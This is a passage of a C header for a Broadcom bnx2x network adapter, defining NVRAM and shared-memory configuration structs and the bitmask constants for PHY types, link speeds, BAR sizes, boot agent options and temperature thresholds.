PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8726 0x00000600 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8481 0x00000700 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_SFX7101 0x00000800 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8727 0x00000900 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8727_NOC 0x00000a00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X84823 0x00000b00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X54640 0x00000c00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X84833 0x00000d00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X54618SE 0x00000e00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8722 0x00000f00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X54616 0x00001000 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X84834 0x00001100 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_FAILURE 0x0000fd00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_NOT_CONN 0x0000ff00 /* 4 times 16 bits for all 4 lanes. For some external PHYs (such as 8706, 8726 and 8727) not all 4 values are needed. */ uint16_t xgxs_config2_rx[4]; /* 0x296 */ uint16_t xgxs_config2_tx[4]; /* 0x2A0 */ uint32_t lane_config; #define PORT_HW_CFG_LANE_SWAP_CFG_MASK 0x0000FFFF #define PORT_HW_CFG_LANE_SWAP_CFG_SHIFT 0 /* AN and forced */ #define PORT_HW_CFG_LANE_SWAP_CFG_01230123 0x00001b1b /* forced only */ #define PORT_HW_CFG_LANE_SWAP_CFG_01233210 0x00001be4 /* forced only */ #define PORT_HW_CFG_LANE_SWAP_CFG_31203120 0x0000d8d8 /* forced only */ #define PORT_HW_CFG_LANE_SWAP_CFG_32103210 0x0000e4e4 #define PORT_HW_CFG_LANE_SWAP_CFG_TX_MASK 0x000000FF #define PORT_HW_CFG_LANE_SWAP_CFG_TX_SHIFT 0 #define PORT_HW_CFG_LANE_SWAP_CFG_RX_MASK 0x0000FF00 #define PORT_HW_CFG_LANE_SWAP_CFG_RX_SHIFT 8 #define PORT_HW_CFG_LANE_SWAP_CFG_MASTER_MASK 0x0000C000 #define PORT_HW_CFG_LANE_SWAP_CFG_MASTER_SHIFT 14 /* Indicate whether to swap the external phy polarity */ #define PORT_HW_CFG_SWAP_PHY_POLARITY_MASK 0x00010000 #define PORT_HW_CFG_SWAP_PHY_POLARITY_DISABLED 0x00000000 #define PORT_HW_CFG_SWAP_PHY_POLARITY_ENABLED 0x00010000 uint32_t external_phy_config; #define PORT_HW_CFG_XGXS_EXT_PHY_ADDR_MASK 0x000000FF #define PORT_HW_CFG_XGXS_EXT_PHY_ADDR_SHIFT 0 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_MASK 0x0000FF00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_SHIFT 8 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_DIRECT 0x00000000 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8071 0x00000100 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8072 0x00000200 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8073 0x00000300 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8705 0x00000400 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8706 0x00000500 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8726 0x00000600 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8481 0x00000700 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_SFX7101 0x00000800 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8727 0x00000900 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8727_NOC 0x00000a00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X84823 0x00000b00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X54640 0x00000c00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X84833 0x00000d00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X54618SE 0x00000e00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X8722 0x00000f00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X54616 0x00001000 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_BNX2X84834 0x00001100 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_DIRECT_WC 0x0000fc00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_FAILURE 0x0000fd00 #define PORT_HW_CFG_XGXS_EXT_PHY_TYPE_NOT_CONN 0x0000ff00 #define PORT_HW_CFG_SERDES_EXT_PHY_ADDR_MASK 0x00FF0000 #define PORT_HW_CFG_SERDES_EXT_PHY_ADDR_SHIFT 16 #define PORT_HW_CFG_SERDES_EXT_PHY_TYPE_MASK 0xFF000000 #define PORT_HW_CFG_SERDES_EXT_PHY_TYPE_SHIFT 24 #define PORT_HW_CFG_SERDES_EXT_PHY_TYPE_DIRECT 0x00000000 #define PORT_HW_CFG_SERDES_EXT_PHY_TYPE_BNX2X5482 0x01000000 #define PORT_HW_CFG_SERDES_EXT_PHY_TYPE_DIRECT_SD 0x02000000 #define PORT_HW_CFG_SERDES_EXT_PHY_TYPE_NOT_CONN 0xff000000 uint32_t speed_capability_mask; #define PORT_HW_CFG_SPEED_CAPABILITY_D3_MASK 0x0000FFFF #define PORT_HW_CFG_SPEED_CAPABILITY_D3_SHIFT 0 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_10M_FULL 0x00000001 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_10M_HALF 0x00000002 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_100M_HALF 0x00000004 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_100M_FULL 0x00000008 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_1G 0x00000010 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_2_5G 0x00000020 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_10G 0x00000040 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_20G 0x00000080 #define PORT_HW_CFG_SPEED_CAPABILITY_D3_RESERVED 0x0000f000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_MASK 0xFFFF0000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_SHIFT 16 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_10M_FULL 0x00010000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_10M_HALF 0x00020000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_100M_HALF 0x00040000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_100M_FULL 0x00080000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_1G 0x00100000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_2_5G 0x00200000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_10G 0x00400000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_20G 0x00800000 #define PORT_HW_CFG_SPEED_CAPABILITY_D0_RESERVED 0xf0000000 /* A place to hold the original MAC address as a backup */ uint32_t backup_mac_upper; /* 0x2B4 */ uint32_t backup_mac_lower; /* 0x2B8 */ }; /**************************************************************************** * Shared Feature configuration * ****************************************************************************/ struct shared_feat_cfg { /* NVRAM Offset */ uint32_t config; /* 0x450 */ #define SHARED_FEATURE_BMC_ECHO_MODE_EN 0x00000001 /* Use NVRAM values instead of HW default values */ #define SHARED_FEAT_CFG_OVERRIDE_PREEMPHASIS_CFG_MASK \ 0x00000002 #define SHARED_FEAT_CFG_OVERRIDE_PREEMPHASIS_CFG_DISABLED \ 0x00000000 #define SHARED_FEAT_CFG_OVERRIDE_PREEMPHASIS_CFG_ENABLED \ 0x00000002 #define SHARED_FEAT_CFG_NCSI_ID_METHOD_MASK 0x00000008 #define SHARED_FEAT_CFG_NCSI_ID_METHOD_SPIO 0x00000000 #define SHARED_FEAT_CFG_NCSI_ID_METHOD_NVRAM 0x00000008 #define SHARED_FEAT_CFG_NCSI_ID_MASK 0x00000030 #define SHARED_FEAT_CFG_NCSI_ID_SHIFT 4 /* Override the OTP back to single function mode. When using GPIO, high means only SF, 0 is according to CLP configuration */ #define SHARED_FEAT_CFG_FORCE_SF_MODE_MASK 0x00000700 #define SHARED_FEAT_CFG_FORCE_SF_MODE_SHIFT 8 #define SHARED_FEAT_CFG_FORCE_SF_MODE_MF_ALLOWED 0x00000000 #define SHARED_FEAT_CFG_FORCE_SF_MODE_FORCED_SF 0x00000100 #define SHARED_FEAT_CFG_FORCE_SF_MODE_SPIO4 0x00000200 #define SHARED_FEAT_CFG_FORCE_SF_MODE_SWITCH_INDEPT 0x00000300 #define SHARED_FEAT_CFG_FORCE_SF_MODE_AFEX_MODE 0x00000400 /* Act as if the FCoE license is invalid */ #define SHARED_FEAT_CFG_PREVENT_FCOE 0x00001000 /* Force FLR capability to all ports */ #define SHARED_FEAT_CFG_FORCE_FLR_CAPABILITY 0x00002000 /* Act as if the iSCSI license is invalid */ #define SHARED_FEAT_CFG_PREVENT_ISCSI_MASK 0x00004000 #define SHARED_FEAT_CFG_PREVENT_ISCSI_SHIFT 14 #define SHARED_FEAT_CFG_PREVENT_ISCSI_DISABLED 0x00000000 #define SHARED_FEAT_CFG_PREVENT_ISCSI_ENABLED 0x00004000 /* The interval in seconds between sending LLDP packets. Set to zero to disable the feature */ #define SHARED_FEAT_CFG_LLDP_XMIT_INTERVAL_MASK 0x00FF0000 #define SHARED_FEAT_CFG_LLDP_XMIT_INTERVAL_SHIFT 16 /* The assigned device type ID for LLDP usage */ #define SHARED_FEAT_CFG_LLDP_DEVICE_TYPE_ID_MASK 0xFF000000 #define SHARED_FEAT_CFG_LLDP_DEVICE_TYPE_ID_SHIFT 24 }; /**************************************************************************** * Port Feature configuration * ****************************************************************************/ struct port_feat_cfg { /* port 0: 0x454 port 1: 0x4c8 */ uint32_t config; #define PORT_FEAT_CFG_BAR1_SIZE_MASK 0x0000000F #define PORT_FEAT_CFG_BAR1_SIZE_SHIFT 0 #define PORT_FEAT_CFG_BAR1_SIZE_DISABLED 0x00000000 #define PORT_FEAT_CFG_BAR1_SIZE_64K 0x00000001 #define PORT_FEAT_CFG_BAR1_SIZE_128K 0x00000002 #define PORT_FEAT_CFG_BAR1_SIZE_256K 0x00000003 #define PORT_FEAT_CFG_BAR1_SIZE_512K 0x00000004 #define PORT_FEAT_CFG_BAR1_SIZE_1M 0x00000005 #define PORT_FEAT_CFG_BAR1_SIZE_2M 0x00000006 #define PORT_FEAT_CFG_BAR1_SIZE_4M 0x00000007 #define PORT_FEAT_CFG_BAR1_SIZE_8M 0x00000008 #define PORT_FEAT_CFG_BAR1_SIZE_16M 0x00000009 #define PORT_FEAT_CFG_BAR1_SIZE_32M 0x0000000a #define PORT_FEAT_CFG_BAR1_SIZE_64M 0x0000000b #define PORT_FEAT_CFG_BAR1_SIZE_128M 0x0000000c #define PORT_FEAT_CFG_BAR1_SIZE_256M 0x0000000d #define PORT_FEAT_CFG_BAR1_SIZE_512M 0x0000000e #define PORT_FEAT_CFG_BAR1_SIZE_1G 0x0000000f #define PORT_FEAT_CFG_BAR2_SIZE_MASK 0x000000F0 #define PORT_FEAT_CFG_BAR2_SIZE_SHIFT 4 #define PORT_FEAT_CFG_BAR2_SIZE_DISABLED 0x00000000 #define PORT_FEAT_CFG_BAR2_SIZE_64K 0x00000010 #define PORT_FEAT_CFG_BAR2_SIZE_128K 0x00000020 #define PORT_FEAT_CFG_BAR2_SIZE_256K 0x00000030 #define PORT_FEAT_CFG_BAR2_SIZE_512K 0x00000040 #define PORT_FEAT_CFG_BAR2_SIZE_1M 0x00000050 #define PORT_FEAT_CFG_BAR2_SIZE_2M 0x00000060 #define PORT_FEAT_CFG_BAR2_SIZE_4M 0x00000070 #define PORT_FEAT_CFG_BAR2_SIZE_8M 0x00000080 #define PORT_FEAT_CFG_BAR2_SIZE_16M 0x00000090 #define PORT_FEAT_CFG_BAR2_SIZE_32M 0x000000a0 #define PORT_FEAT_CFG_BAR2_SIZE_64M 0x000000b0 #define PORT_FEAT_CFG_BAR2_SIZE_128M 0x000000c0 #define PORT_FEAT_CFG_BAR2_SIZE_256M 0x000000d0 #define PORT_FEAT_CFG_BAR2_SIZE_512M 0x000000e0 #define PORT_FEAT_CFG_BAR2_SIZE_1G 0x000000f0 #define PORT_FEAT_CFG_DCBX_MASK 0x00000100 #define PORT_FEAT_CFG_DCBX_DISABLED 0x00000000 #define PORT_FEAT_CFG_DCBX_ENABLED 0x00000100 #define PORT_FEAT_CFG_AUTOGREEEN_MASK 0x00000200 #define PORT_FEAT_CFG_AUTOGREEEN_SHIFT 9 #define PORT_FEAT_CFG_AUTOGREEEN_DISABLED 0x00000000 #define PORT_FEAT_CFG_AUTOGREEEN_ENABLED 0x00000200 #define PORT_FEAT_CFG_STORAGE_PERSONALITY_MASK 0x00000C00 #define PORT_FEAT_CFG_STORAGE_PERSONALITY_SHIFT 10 #define PORT_FEAT_CFG_STORAGE_PERSONALITY_DEFAULT 0x00000000 #define PORT_FEAT_CFG_STORAGE_PERSONALITY_FCOE 0x00000400 #define PORT_FEAT_CFG_STORAGE_PERSONALITY_ISCSI 0x00000800 #define PORT_FEAT_CFG_STORAGE_PERSONALITY_BOTH 0x00000c00 #define PORT_FEATURE_EN_SIZE_MASK 0x0f000000 #define PORT_FEATURE_EN_SIZE_SHIFT 24 #define PORT_FEATURE_WOL_ENABLED 0x01000000 #define PORT_FEATURE_MBA_ENABLED 0x02000000 #define PORT_FEATURE_MFW_ENABLED 0x04000000 /* Advertise expansion ROM even if MBA is disabled */ #define PORT_FEAT_CFG_FORCE_EXP_ROM_ADV_MASK 0x08000000 #define PORT_FEAT_CFG_FORCE_EXP_ROM_ADV_DISABLED 0x00000000 #define PORT_FEAT_CFG_FORCE_EXP_ROM_ADV_ENABLED 0x08000000 /* Check the optic vendor via i2c against a list of approved modules in a separate nvram image */ #define PORT_FEAT_CFG_OPT_MDL_ENFRCMNT_MASK 0xE0000000 #define PORT_FEAT_CFG_OPT_MDL_ENFRCMNT_SHIFT 29 #define PORT_FEAT_CFG_OPT_MDL_ENFRCMNT_NO_ENFORCEMENT \ 0x00000000 #define PORT_FEAT_CFG_OPT_MDL_ENFRCMNT_DISABLE_TX_LASER \ 0x20000000 #define PORT_FEAT_CFG_OPT_MDL_ENFRCMNT_WARNING_MSG 0x40000000 #define PORT_FEAT_CFG_OPT_MDL_ENFRCMNT_POWER_DOWN 0x60000000 uint32_t wol_config; /* Default is used when driver sets to "auto" mode */ #define PORT_FEATURE_WOL_ACPI_UPON_MGMT 0x00000010 uint32_t mba_config; #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_MASK 0x00000007 #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_SHIFT 0 #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_PXE 0x00000000 #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_RPL 0x00000001 #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_BOOTP 0x00000002 #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_ISCSIB 0x00000003 #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_FCOE_BOOT 0x00000004 #define PORT_FEATURE_MBA_BOOT_AGENT_TYPE_NONE 0x00000007 #define PORT_FEATURE_MBA_BOOT_RETRY_MASK 0x00000038 #define PORT_FEATURE_MBA_BOOT_RETRY_SHIFT 3 #define PORT_FEATURE_MBA_SETUP_PROMPT_ENABLE 0x00000400 #define PORT_FEATURE_MBA_HOTKEY_MASK 0x00000800 #define PORT_FEATURE_MBA_HOTKEY_CTRL_S 0x00000000 #define PORT_FEATURE_MBA_HOTKEY_CTRL_B 0x00000800 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_MASK 0x000FF000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_SHIFT 12 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_DISABLED 0x00000000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_2K 0x00001000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_4K 0x00002000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_8K 0x00003000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_16K 0x00004000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_32K 0x00005000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_64K 0x00006000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_128K 0x00007000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_256K 0x00008000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_512K 0x00009000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_1M 0x0000a000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_2M 0x0000b000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_4M 0x0000c000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_8M 0x0000d000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_16M 0x0000e000 #define PORT_FEATURE_MBA_EXP_ROM_SIZE_32M 0x0000f000 #define PORT_FEATURE_MBA_MSG_TIMEOUT_MASK 0x00F00000 #define PORT_FEATURE_MBA_MSG_TIMEOUT_SHIFT 20 #define PORT_FEATURE_MBA_BIOS_BOOTSTRAP_MASK 0x03000000 #define PORT_FEATURE_MBA_BIOS_BOOTSTRAP_SHIFT 24 #define PORT_FEATURE_MBA_BIOS_BOOTSTRAP_AUTO 0x00000000 #define PORT_FEATURE_MBA_BIOS_BOOTSTRAP_BBS 0x01000000 #define PORT_FEATURE_MBA_BIOS_BOOTSTRAP_INT18H 0x02000000 #define PORT_FEATURE_MBA_BIOS_BOOTSTRAP_INT19H 0x03000000 #define PORT_FEATURE_MBA_LINK_SPEED_MASK 0x3C000000 #define PORT_FEATURE_MBA_LINK_SPEED_SHIFT 26 #define PORT_FEATURE_MBA_LINK_SPEED_AUTO 0x00000000 #define PORT_FEATURE_MBA_LINK_SPEED_10M_HALF 0x04000000 #define PORT_FEATURE_MBA_LINK_SPEED_10M_FULL 0x08000000 #define PORT_FEATURE_MBA_LINK_SPEED_100M_HALF 0x0c000000 #define PORT_FEATURE_MBA_LINK_SPEED_100M_FULL 0x10000000 #define PORT_FEATURE_MBA_LINK_SPEED_1G 0x14000000 #define PORT_FEATURE_MBA_LINK_SPEED_2_5G 0x18000000 #define PORT_FEATURE_MBA_LINK_SPEED_10G 0x1c000000 #define PORT_FEATURE_MBA_LINK_SPEED_20G 0x20000000 uint32_t Reserved0; /* 0x460 */ uint32_t mba_vlan_cfg; #define PORT_FEATURE_MBA_VLAN_TAG_MASK 0x0000FFFF #define PORT_FEATURE_MBA_VLAN_TAG_SHIFT 0 #define PORT_FEATURE_MBA_VLAN_EN 0x00010000 uint32_t Reserved1; uint32_t smbus_config; #define PORT_FEATURE_SMBUS_ADDR_MASK 0x000000fe #define PORT_FEATURE_SMBUS_ADDR_SHIFT 1 uint32_t vf_config; #define PORT_FEAT_CFG_VF_BAR2_SIZE_MASK 0x0000000F #define PORT_FEAT_CFG_VF_BAR2_SIZE_SHIFT 0 #define PORT_FEAT_CFG_VF_BAR2_SIZE_DISABLED 0x00000000 #define PORT_FEAT_CFG_VF_BAR2_SIZE_4K 0x00000001 #define PORT_FEAT_CFG_VF_BAR2_SIZE_8K 0x00000002 #define PORT_FEAT_CFG_VF_BAR2_SIZE_16K 0x00000003 #define PORT_FEAT_CFG_VF_BAR2_SIZE_32K 0x00000004 #define PORT_FEAT_CFG_VF_BAR2_SIZE_64K 0x00000005 #define PORT_FEAT_CFG_VF_BAR2_SIZE_128K 0x00000006 #define PORT_FEAT_CFG_VF_BAR2_SIZE_256K 0x00000007 #define PORT_FEAT_CFG_VF_BAR2_SIZE_512K 0x00000008 #define PORT_FEAT_CFG_VF_BAR2_SIZE_1M 0x00000009 #define PORT_FEAT_CFG_VF_BAR2_SIZE_2M 0x0000000a #define PORT_FEAT_CFG_VF_BAR2_SIZE_4M 0x0000000b #define PORT_FEAT_CFG_VF_BAR2_SIZE_8M 0x0000000c #define PORT_FEAT_CFG_VF_BAR2_SIZE_16M 0x0000000d #define PORT_FEAT_CFG_VF_BAR2_SIZE_32M 0x0000000e #define PORT_FEAT_CFG_VF_BAR2_SIZE_64M 0x0000000f uint32_t link_config; /* Used as HW defaults for the driver */ #define PORT_FEATURE_FLOW_CONTROL_MASK 0x00000700 #define PORT_FEATURE_FLOW_CONTROL_SHIFT 8 #define PORT_FEATURE_FLOW_CONTROL_AUTO 0x00000000 #define PORT_FEATURE_FLOW_CONTROL_TX 0x00000100 #define PORT_FEATURE_FLOW_CONTROL_RX 0x00000200 #define PORT_FEATURE_FLOW_CONTROL_BOTH 0x00000300 #define PORT_FEATURE_FLOW_CONTROL_NONE 0x00000400 #define PORT_FEATURE_FLOW_CONTROL_SAFC_RX 0x00000500 #define PORT_FEATURE_FLOW_CONTROL_SAFC_TX 0x00000600 #define PORT_FEATURE_FLOW_CONTROL_SAFC_BOTH 0x00000700 #define PORT_FEATURE_LINK_SPEED_MASK 0x000F0000 #define PORT_FEATURE_LINK_SPEED_SHIFT 16 #define PORT_FEATURE_LINK_SPEED_AUTO 0x00000000 #define PORT_FEATURE_LINK_SPEED_10M_FULL 0x00010000 #define PORT_FEATURE_LINK_SPEED_10M_HALF 0x00020000 #define PORT_FEATURE_LINK_SPEED_100M_HALF 0x00030000 #define PORT_FEATURE_LINK_SPEED_100M_FULL 0x00040000 #define PORT_FEATURE_LINK_SPEED_1G 0x00050000 #define PORT_FEATURE_LINK_SPEED_2_5G 0x00060000 #define PORT_FEATURE_LINK_SPEED_10G_CX4 0x00070000 #define PORT_FEATURE_LINK_SPEED_20G 0x00080000 #define PORT_FEATURE_CONNECTED_SWITCH_MASK 0x03000000 #define PORT_FEATURE_CONNECTED_SWITCH_SHIFT 24 /* (forced) low speed switch (< 10G) */ #define PORT_FEATURE_CON_SWITCH_1G_SWITCH 0x00000000 /* (forced) high speed switch (>= 10G) */ #define PORT_FEATURE_CON_SWITCH_10G_SWITCH 0x01000000 #define PORT_FEATURE_CON_SWITCH_AUTO_DETECT 0x02000000 #define PORT_FEATURE_CON_SWITCH_ONE_TIME_DETECT 0x03000000 /* The default for MCP link configuration, uses the same defines as link_config */ uint32_t mfw_wol_link_cfg; /* The default for the driver of the second external phy, uses the same defines as link_config */ uint32_t link_config2; /* 0x47C */ /* The default for MCP of the second external phy, uses the same defines as link_config */ uint32_t mfw_wol_link_cfg2; /* 0x480 */ /* EEE power saving mode */ uint32_t eee_power_mode; /* 0x484 */ #define PORT_FEAT_CFG_EEE_POWER_MODE_MASK 0x000000FF #define PORT_FEAT_CFG_EEE_POWER_MODE_SHIFT 0 #define PORT_FEAT_CFG_EEE_POWER_MODE_DISABLED 0x00000000 #define PORT_FEAT_CFG_EEE_POWER_MODE_BALANCED 0x00000001 #define PORT_FEAT_CFG_EEE_POWER_MODE_AGGRESSIVE 0x00000002 #define PORT_FEAT_CFG_EEE_POWER_MODE_LOW_LATENCY 0x00000003 uint32_t Reserved2[16]; /* 0x488 */ }; /**************************************************************************** * Device Information * ****************************************************************************/ struct shm_dev_info { /* size */ uint32_t bc_rev; /* 8 bits each: major, minor, build */ /* 4 */ struct shared_hw_cfg shared_hw_config; /* 40 */ struct port_hw_cfg port_hw_config[PORT_MAX]; /* 400*2=800 */ struct shared_feat_cfg shared_feature_config; /* 4 */ struct port_feat_cfg port_feature_config[PORT_MAX];/* 116*2=232 */ }; struct extended_dev_info_shared_cfg { /* NVRAM OFFSET */ /* Threshold in celcius to start using the fan */ uint32_t temperature_monitor1; /* 0x4000 */ #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_THRESH_MASK 0x0000007F #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_THRESH_SHIFT 0 /* Threshold in celcius to shut down the board */ #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_THRESH_MASK 0x00007F00 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_THRESH_SHIFT 8 /* EPIO of fan temperature status */ #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_MASK 0x00FF0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_SHIFT 16 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_NA 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO0 0x00010000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO1 0x00020000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO2 0x00030000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO3 0x00040000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO4 0x00050000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO5 0x00060000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO6 0x00070000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO7 0x00080000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO8 0x00090000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO9 0x000a0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO10 0x000b0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO11 0x000c0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO12 0x000d0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO13 0x000e0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO14 0x000f0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO15 0x00100000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO16 0x00110000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO17 0x00120000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO18 0x00130000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO19 0x00140000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO20 0x00150000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO21 0x00160000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO22 0x00170000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO23 0x00180000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO24 0x00190000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO25 0x001a0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO26 0x001b0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO27 0x001c0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO28 0x001d0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO29 0x001e0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO30 0x001f0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_FAN_EPIO_EPIO31 0x00200000 /* EPIO of shut down temperature status */ #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_MASK 0xFF000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_SHIFT 24 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_NA 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO0 0x01000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO1 0x02000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO2 0x03000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO3 0x04000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO4 0x05000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO5 0x06000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO6 0x07000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO7 0x08000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO8 0x09000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO9 0x0a000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO10 0x0b000000 #define 